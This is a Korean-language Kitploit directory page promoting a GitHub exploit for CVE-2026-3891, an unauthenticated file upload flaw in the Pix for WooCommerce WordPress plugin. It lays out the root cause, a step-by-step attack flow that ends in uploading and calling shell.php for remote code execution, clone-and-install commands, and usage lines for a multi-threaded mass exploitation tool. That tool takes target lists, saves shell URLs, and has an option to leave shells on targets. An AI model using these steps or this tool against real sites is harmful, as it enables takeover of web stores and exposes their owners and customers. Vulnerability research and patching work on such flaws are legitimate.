Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-3891 — Pix for WooCommerce의 certificate_crt_path 매개변수를 통한 인증되지 않은 파일 업로드 | CVSS 9.8 | Kitploit
도구/GitHubGitHub/shinthink/cve-2026-3891
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubshinthink/cve-2026-3891

CVE-2026-3891

Pix for WooCommerce의 certificate_crt_path 매개변수를 통한 인증되지 않은 파일 업로드 | CVSS 9.8

저장소 보기
411개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-3891 — Pix for WooCommerce 인증되지 않은 파일 업로드 RCE

Nonce 유출 → certificate_crt_path 업로드 → 코드 실행


개요

CVE-2026-3891은 linknacional의 Pix for WooCommerce WordPress 플러그인 버전 ≤ 1.5.0에서 발생하는 치명적 심각도(CVSS 9.8)의 인증되지 않은 임의 파일 업로드 취약점입니다.

lkn_pix_for_woocommerce_c6_save_settings AJAX 핸들러에는 다음과 같은 문제가 있습니다:

  1. 권한 검사 없음 — 인증되지 않은 방문자도 호출할 수 있습니다
  2. 파일 유형 검증 없음 — certificate_crt_path 매개변수를 통해 모든 파일 확장자가 허용됩니다
  3. 유효한 nonce는 인증 없이 lkn_pix_for_woocommerce_generate_nonce 엔드포인트를 통해 자유롭게 획득할 수 있습니다

업로드된 파일은 웹에서 접근 가능한 디렉터리인 /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/에 저장됩니다.

취약한 버전

VersionStatus
≤ 1.5.0취약
1.6.0+패치됨

발견자: Alexis Lafontaine (Wordfence 경유, 2026년 3월 13일)


취약점 메커니즘

근본 원인

root@kitploit:~
// Nonce generated without auth
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

// Upload handler — no capability check, no file type validation
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
function c6_save_settings() {
    // No current_user_can() check
    // No wp_check_filetype() call
    move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
}

공격 흐름

root@kitploit:~
1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
   → Get valid nonce (no auth needed)
2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
   → Upload shell.php via certificate_crt_path field
3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
   → RCE

설치

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt

사용법

root@kitploit:~
python cve_2026_3891.py -t target.com
python cve_2026_3891.py -f targets.txt -o shells.txt
python cve_2026_3891.py -t target.com --debug --no-cleanup

인자

root@kitploit:~
  -t, --target      Single target
  -f, --file        Target list
  -o, --output      Save RCE URLs
  --threads         Workers (default: 30)
  --no-cleanup      Leave shells on target
  --debug           Show every request
  -v, --verbose     Verbose output

면책 조항

교육 및 승인된 테스트 목적으로만 사용하십시오. 작성자는 오용에 대한 책임을 지지 않습니다.


참고 자료

리소스링크
Wordfence 권고wordfence.com
NVD 항목CVE-2026-3891
연구자Alexis Lafontaine

linknacional 또는 Pix for WooCommerce와 제휴하지 않았습니다.

도구 다운로드